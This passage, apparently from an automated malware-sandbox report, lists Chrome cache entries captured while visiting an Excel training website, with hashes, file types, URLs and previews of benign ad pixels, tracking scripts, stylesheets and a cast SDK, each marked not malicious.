Preview:	{"page":{"bookmarkCount":1,"categories":[],"dbId":"f17794a5-e146-492e-9959-00b209050c81","description":"With Power Query tutorials, you can learn to simplify the process of importing data from different source files and sorting them into an Excel sheet.","hasCanonicalUrl":true,"id":"UGFnZTpmMTc3OTRhNS1lMTQ2LTQ5MmUtOTk1OS0wMGIyMDkwNTBjODE=","imgUrl":"https://earnandexcel.com/wp-content/uploads/Power-Query-1.jpg","isArchive":false,"isDeleted":null,"language":"en","lastRefreshNoChangeAt":null,"lastRefreshedAt":"2023-11-04T04:08:58.160Z","modifiedTime":"2022-02-07T21:26:05.000Z","publishedAt":null,"salesKeywords":[],"shortGrowUrl":"https://urls.grow.me/KfvOFIpTi4","siteId":"a93bd662-05a1-4ce7-81ce-4c67bccef190","textContent":"Course Curriculum\n\nGETTING STARTED WITH POWER QUERY\n\nIntroduction to Power Query\n\nGetting Familiar with the Power Query Editor\n\nFirst Data Clean Up for a Pivot Table\n\nTweaking our Query until the data is correct\n\nRounding data\n\nAltering Data Types\n\nFil

Chrome Cache Entry: 738

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjssE9znDOO3deoAyqpTMc1MWivA2mlft8e_J51L4Z6mnMwWSvs7tqAsn7HPh27WTZiDSqgwhl5SbTYj3b60tUVOVTg_cpuDMOz_lKsAp7--Nvq0vdpIJ4hkKTh5YQgN_Vd2liWgV0dNkJ4EgLrivvNKvp_XJyyQHidM&sig=Cg0ArKJSzK8zN7fs9N5mEAE&id=lidartos&mcvt=2308&p=0,0,169,300&mtos=0,2308,2308,2308,2308&tos=0,2523,0,0,0&v=20240410&bin=7&avms=nio&bs=1263,907&mc=0.99&vu=1&app=0&itpl=19&adk=2810285289&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xNDkiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTQ5Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xNDkiXV0sMF0%3D&vs=4&r=b&co=880364701&rst=1712870847216&rpt=134&isd=0&lsd=0&ec=1&met=ce&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 739

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2522), with no line terminators
Category:	downloaded
Size (bytes):	2522
Entropy (8bit):	5.315304272929255
Encrypted:	false
SSDEEP:	48:Fd0qcQAmy5g2ZSUAHlh3fhy6bydHY2mJHDQ4c2mxT8Kipjp2:LmmmXZdAHlh3py6bydHYBJHDJc2mZ8Kf
MD5:	76ED95A13469C309BB1771B0E3CC1C4F
SHA1:	15FFD8A33597B5B544B001F098EC13352B5027DB
SHA-256:	64A4ED8872228E80F2EF6519AE6F19200DDD5DA2670CDBCB30EEB8AC46E09A63
SHA-512:	F13D6D5F4EFF34373AD0968581E85723D2AB3B99E03FBB8F6F4181DFF68D7E8CCA85E208C22182DDB167988A01F066B13B26BF25F41CFF3DE5470C508ABB9753
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/9300/d273b3f7a25cb28cb418.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[9300],{5182:(e,t,i)=>{i.d(t,{Dn:()=>a});var a=(e=>(e["3gpp"]="video/3gpp",e["3gpp2"]="video/3gpp2",e.flash="application/x-shockwave-flash",e.flv="video/x-flv",e.javascript="application/javascript",e.m4v="video/x-m4v",e.mp4="video/mp4",e.mpeg="video/mpeg",e.ogg="video/ogg",e.quicktime="video/quicktime",e.webm="video/webm",e.wmv="video/x-ms-wmv",e))(a\|\|{})},8001:(e,t,i)=>{i.d(t,{G:()=>a});var a=(e=>(e.title="title",e.body="body",e.sponsoredBy="sponsoredBy",e.displayurl="displayurl",e.icon="icon",e.image="image",e.clickUrl="clickUrl",e.cta="cta",e.video="video",e))(a\|\|{})},9300:(e,t,i)=>{i.r(t),i.d(t,{buildRequestFromTemplate:()=>o,getLen:()=>l});var a=i(5182),r=i(8074),s=i(6039),n=i(3528),p=i(8001);const d={},o=e=>{if(d[e])return d[e];const t={sponsoredBy:{required:!1}},i=document.createElement("div");return i.innerHTML=e,i.querySelectorAll("[data-native-type]").forEach((e=>{const i=e.getAttribute("data-native-type"),s=u(e

Chrome Cache Entry: 740

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://ads.yieldmo.com/sync?pn_id=rc&id=LUVR2A3B-N-5ZEP
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 741

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 742

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9149
Entropy (8bit):	4.5906448911401005
Encrypted:	false
SSDEEP:	192:7KxCtThYqXTjAd2ziFcxanFpeC3HMekTiF9hLWF0AA:7KxmuIfA0+FcknFIChkeF9VWF4
MD5:	9D6309CA421A87E1D6F76B0ED0A706C6
SHA1:	F106485A8B7879E27E8A84B2BA7BC13351C08620
SHA-256:	CFBAA49DB30DE5D8E6910FCF4430FDF7797B499955FCDE7EE37F4CCECC34D252
SHA-512:	40C220D40F5C01720CFDE9B451480CA114E30553CEDD0DA95EDCE86EF06B87C09CE00A25F0768F40A7BA816DB3378474699DEC234E40CB1B7AA679AECE3930A4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/link-whisper-premium/js/frontend.js
Preview:	"use strict";....[].forEach.call(document.querySelectorAll('a'), function(el) {.. el.addEventListener('click', wpil_link_clicked);.. el.addEventListener('auxclick', wpil_link_clicked);..});......function wpil_link_clicked(e){..// e.preventDefault(); // todo remember to remove this.. var link = this;.. var linkAnchor = '';.. var hasImage = false;.. var imageTitle = '';.. var imageTags = ['img', 'svg'];.... // if the click wasn't a primary or middle click, or there's no link, exit.. if(!(e.which == 1 \|\| e.button == 0 ) && !(e.which == 2 \|\| e.button == 4 ) \|\| link.length < 1){.. return;.. }.... if('1' === wpilFrontend.disableClicks){.. return;.. }.... if(this.href === undefined \|\| link.href === '#'){.. return;.. }.... function findLinkText(link){.. if(link.children.length > 0){.. for(var i in link.children){.. var childThis = link.children[i];.. if(childThis.children !== un

Chrome Cache Entry: 743

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2237), with no line terminators
Category:	downloaded
Size (bytes):	2237
Entropy (8bit):	5.8438342529020435
Encrypted:	false
SSDEEP:	48:Ego2Y+iKasKEIzUtJQSIZyaQqe3q7SWWdCC6jykt08lYiBCuRTFMiWpQqErfc6:wsbSUtJfxrqLWWWdV6j1OiB7RGpit
MD5:	9A931498767133044555F32DD3B70DED
SHA1:	282370B10B0BEE42E889E41E27EDD232EEB730DE
SHA-256:	51140988F4AE9554E9613FBE53999D599DEC3E2BC9482B9A2D64203ED903158F
SHA-512:	13C07FA6716E801B234C3422075AED9BC335D7DA60C0262EC1F2400074D01E219EA1B6BD64F359E0A04CB075A30059A5124E12EB350EE1C510CA8B5C181AA6FE
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/416707819/?random=1712870809382&cv=11&fst=1712870809382&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var r=k&&k[610401301];g=null!=r?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&-1!=a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;0<=(b=d.indexOf("fmt",b))&&b<a;){var c=d.charCodeAt(b-1);if(38==c\|\|63==c)if(c=d.charCodeAt(b+3),!c\|\|61==c\|\|38==c\|\|35==c)br

Chrome Cache Entry: 744

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5819)
Category:	downloaded
Size (bytes):	5854
Entropy (8bit):	4.992167790791215
Encrypted:	false
SSDEEP:	96:lBIiP1NQxABpLsSzYOzCRF3HohBmdOI1q6nW0oTX2E2d/uj2Oc1Zh+wuHCj6rMMu:TZhTw/kpV3CXdLx
MD5:	61ACBB6EBDD2479DCB66E467E3F1D80F
SHA1:	82F9D6C19DE343CC39B2C461B4A9A97770699EC8
SHA-256:	A263951BA358B2B766FE5E06C24A5869F2A67AEEE53A4BA7D3B1F9D478FC3C34
SHA-512:	17C1018EBA31A712B345977946ABD6C184F0A6C50CAD18DD1D9F18CC2EDA606EBFDC9F987D45A5E41849C4B0B6A4344C77130B937C0D831ACA09A0D3BE49F7B0
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/css/buttons.min.css
Preview:	/! This file is auto-generated /..wp-core-ui .button,.wp-core-ui .button-primary,.wp-core-ui .button-secondary{display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-core-ui button::-moz-focus-inner,.wp-core-ui input[type=button]::-moz-focus-inner,.wp-core-ui input[type=reset]::-moz-focus-inner,.wp-core-ui input[type=submit]::-moz-focus-inner{border-width:0;border-style:none;padding:0}.wp-core-ui .button-group.button-large .button,.wp-core-ui .button.button-large{min-height:32px;line-height:2.30769231;padding:0 12px}.wp-core-ui .button-group.button-small .button,.wp-core-ui .button.button-small{min-height:26px;line-height:2.18181818;padding:0 8px;font-size:11px}.wp-core-ui .button-group.button-hero .button,.wp-core-ui .button.button-hero{font-size:14px;min-height:46px;line-height:3.14

Chrome Cache Entry: 745

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
URL:	https://tr.snapchat.com/p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=13578&m_fcps=5160&m_pi=13572&m_pl=0&m_pv=2&m_rd=14944&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2F&trackId=3108c4b7-ae37-4861-a285-5aab2c2d3c38&ts=1712870808159&v=3.14.1-2404091850
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 746

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=25F9549E-136A-47E9-9171-DA44C0E0D5E3/gdpr=0/gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 747

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	low
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 748

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20458), with no line terminators
Category:	downloaded
Size (bytes):	20458
Entropy (8bit):	5.012886968794428
Encrypted:	false
SSDEEP:	384:u7c/8PIPkzMzMzizBSDtbQrMD/Gvd5eUwUaBB/X5KdJG28l4ZtBo5vHz:V+IkgMd
MD5:	A94C4DE3D8028FC56B148E8F66524E59
SHA1:	1B7227237F9785C66062A4811508916518E4132C
SHA-256:	F2B7C76C9AFE8EEDCE734F7D8C524C475C403EEF024CF1D4F2E3F92775FF5406
SHA-512:	50C51A69A44AFE2DA2840CCDCAB6A22D9CD3F1F79604363E94B9C19E1037F8C11F427E2368D24C18169DEA7CA494899FEDDD0877A9FF25BD329EBED10A9C8D3D
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/lightGallery/css/lightgallery.min.css
Preview:	.lg-sub-html,.lg-toolbar{background-color:rgba(0,0,0,.45)}@font-face{font-family:lg;src:url(../fonts/lg.eot?n1z373);src:url(../fonts/lg.eot?#iefixn1z373) format("embedded-opentype"),url(../fonts/lg.woff?n1z373) format("woff"),url(../fonts/lg.ttf?n1z373) format("truetype"),url(../fonts/lg.svg?n1z373#lg) format("svg");font-weight:400;font-style:normal}.lg-icon{font-family:lg;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.lg-actions .lg-next,.lg-actions .lg-prev{background-color:rgba(0,0,0,.45);border-radius:2px;color:#999;cursor:pointer;display:block;font-size:22px;margin-top:-10px;padding:8px 10px 9px;position:absolute;top:50%;z-index:1080;border:none;outline:0}.lg-actions .lg-next.disabled,.lg-actions .lg-prev.disabled{pointer-events:none;opacity:.5}.lg-actions .lg-next:hover,.lg-actions .lg-prev:hover{color:#FFF}.lg-actions .lg-next{right:20px}.lg-actions .lg-next:

Chrome Cache Entry: 749

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	77
Entropy (8bit):	3.7011434673082864
Encrypted:	false
SSDEEP:	3:3FFiAK/kWNuR48FLHWKQLvaSdNY:3FFi3bNuRbWXaQY
MD5:	AED561F47F9067D816F843E91F75BC38
SHA1:	4713D30DE4DD006076530A009FEC9710998BFB9B
SHA-256:	6C200F99EAC66FDF4CA9A9817FDCD86C48CA228F25E593462E11A980659A189D
SHA-512:	9907882DE51D3FA699829D0F956AEEE1C651035CCB358D7A82CF6E4ADD649FA5492E49940FCB6366F7241E5349FADFE7F073B71DEDCF2BE20A41D5F5FD956140
Malicious:	false
Reputation:	low
Preview:	{.. "geo": {.. "state": "NY",.. "country_code": "US".. }.. }

Chrome Cache Entry: 750

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2327), with no line terminators
Category:	downloaded
Size (bytes):	2327
Entropy (8bit):	5.640589726170898
Encrypted:	false
SSDEEP:	48:CzpCjOSCV5P0CR/a0BBTjCWnSHMbz5lTKyQeSSMqBtI6beBDq:C0j5CvXcdsbl5/u01bWq
MD5:	8D880B7BB525A83023F75926B4067B28
SHA1:	1FE05EAC4C891C4ECA7722DE8EB5EBF331B08626
SHA-256:	9686D97AC42D407F64532CA7AA743928C0BF60D576FF4D023B501AD56851A6EE
SHA-512:	CDE74DB295ED6C2E0648C9F7DCFB40DD1D0EFF31697F8A267C72E2493ADFF80D3496EAAE5714BDB5AFA87120E4537D26636EA7B5CC9A095F645FB461644A51F9
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=46255782&p=156423&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1---
Preview:	PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://io.narrative.io/?companyId=673&id=pubmatic_id:25F9549E-136A-47E9-9171-DA44C0E0D5E3.');PubMatic.loadAsyncIframePixel('https://csync.loopme.me/?pubid=11331&redirect=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzImdGw9MTI5NjAw&piggybackCookie={viewer_token}&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync.1rx.io/usersync2/pubmatic&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://gocm.c.appier.net/pubmatic');PubMatic.loadAsyncIframePixel('https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=');P

Chrome Cache Entry: 751

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5140)
Category:	downloaded
Size (bytes):	57891
Entropy (8bit):	5.326683717148081
Encrypted:	false
SSDEEP:	768:so/MPceY1M9WU9Yw5d1uYMxBMYUYNQj+DYfq5j1jYY8Z02LKVYKYLyYu3o2+D3Wz:RJeUwT7ltMHM9eEqJ1UTZ02LKVlEyv
MD5:	DF4D0B8EEA7154DA062E1C4C3565A07B
SHA1:	39533A51F3E252DF1942A563C98A9EE41977FD53
SHA-256:	EDFF2C11F1709BDF6FD5893D5527381F61AEE4D3C4FE9983CB8D3362808286CF
SHA-512:	2E1E237312B00DA4EC807545293BBAF3DDCA506C93FF40628D3C9C6C83D523CD19044141BED1228A694FF6457E917CAA93968FC01DDD6C47FF72AC20FA2D1738
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/signals/config/719379935201922?v=2.9.153&r=stable&domain=earnandexcel.com&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 752

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8747), with no line terminators
Category:	downloaded
Size (bytes):	8747
Entropy (8bit):	5.4725933711298484
Encrypted:	false
SSDEEP:	192:a3OG6q3O2hKx32wau8oxY6cZsQF9IZwKsQMoWwXzwLajwAo9X61mMEORnEu43Obv:O6ehI3cu8oy6cZsmAwkoYNEOREu8uP7F
MD5:	1E854CDC5F47EB5C60A0329D023EDF27
SHA1:	9FED1DEAF69FA1DD65A5D8F52ABB6529F956FABE
SHA-256:	FB8218A504F901ABD6E5240C1C634018485743C80901A9AF5E17A5D3FE39DF65
SHA-512:	B5DDB8A8E68CB2B91EDBFB8BE572C6751B514CBF9B46F71068704E21D635A9A6D626661763296A84300753187FDC9643C2D14E4C1ED37F4C59F290DF0544EBE2
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/gpp/a5a52b2a9ac68755afed.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[999],{6500:(t,e,s)=>{s.r(e),s.d(e,{GPP:()=>N});var i=s(8473),o=s(3583),n=s(6643),a=s(4441),p=s(3528),c=s(2932),l=s(6921),r=(t,e,s)=>new Promise(((i,o)=>{var n=t=>{try{p(s.next(t))}catch(t){o(t)}},a=t=>{try{p(s.throw(t))}catch(t){o(t)}},p=t=>t.done?i(t.value):Promise.resolve(t.value).then(n,a);p((s=s.apply(t,e)).next())}));let u,P;function d(){return r(this,null,(function*(){if(!P){const{GDPR:t}=yield Promise.all([s.e(1011),s.e(8262)]).then(s.bind(s,1353));P=new t}return P}))}var A=(t=>(t.US="US",t.EU="EU",t))(A\|\|{}),g=(t=>(t[t.TCFEUV2=2]="TCFEUV2",t[t.TCFCAV1=5]="TCFCAV1",t[t.USPV1=6]="USPV1",t[t.USPNATV1=7]="USPNATV1",t[t.USPCAV1=8]="USPCAV1",t[t.USPVAV1=9]="USPVAV1",t[t.USPCOV1=10]="USPCOV1",t[t.USPUTV1=11]="USPUTV1",t[t.USPCTV1=12]="USPCTV1",t))(g\|\|{}),S=s(9399);const h=new Map;h.set("US",A.US);for(const t in S.g)h.set(t,A.EU);var m=(t=>(t.NOT_APPLICABLE="BqgAAAAAAgA",t.APPLIES="BqgAAAAAAgA",t.NOTIFIED="BVQqAAAAAgA",t

Chrome Cache Entry: 753

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2717)
Category:	downloaded
Size (bytes):	35946
Entropy (8bit):	5.471620889692367
Encrypted:	false
SSDEEP:	768:6DyNw5wDn4toiuumfztiabrBOWi5uf/J8P2Bcn+irSPMRpk+b/902GwD3DJgiOYA:e3Vuum7tiGrBOWguXTc+irY3Q/902Gwe
MD5:	05345F56355FA8421E88B29947743EF5
SHA1:	C2652FD719B401718457C94BC3292D3204699D00
SHA-256:	A2BDD8CB01353D4ED2A9AB4C7D7C263225F6908AA875614D015A2F39956D9D73
SHA-512:	DB343C949AFF72FA05C45F914A02F874770367153574CB70DC6ECA426D3C7EFBACABD93670C97F715EE71C0037973E6CB6F4A6E9DC61DC91D77F0735C1059D68
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/cast/sdk/libs/sender/1.0/cast_framework.js
Preview:	// Copyright Google Inc. All Rights Reserved..(function() { /.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';var h=this\|\|self,aa=function(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"},ba=function(a){var b=aa(a);return"array"==b\|\|"object"==b&&"number"==typeof a.length},ca=function(a){var b=typeof a;return"object"==b&&null!=a\|\|"function"==b},da=function(a,b,c){return a.call.apply(a.bind,arguments)},ea=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);.Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}},k=function(a,b,c){k=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?da:ea;return k.apply(null,arguments)},l=function(a,b){a=a.split(".");var c=h;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+

Chrome Cache Entry: 754

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64347)
Category:	downloaded
Size (bytes):	223683
Entropy (8bit):	5.454813614476191
Encrypted:	false
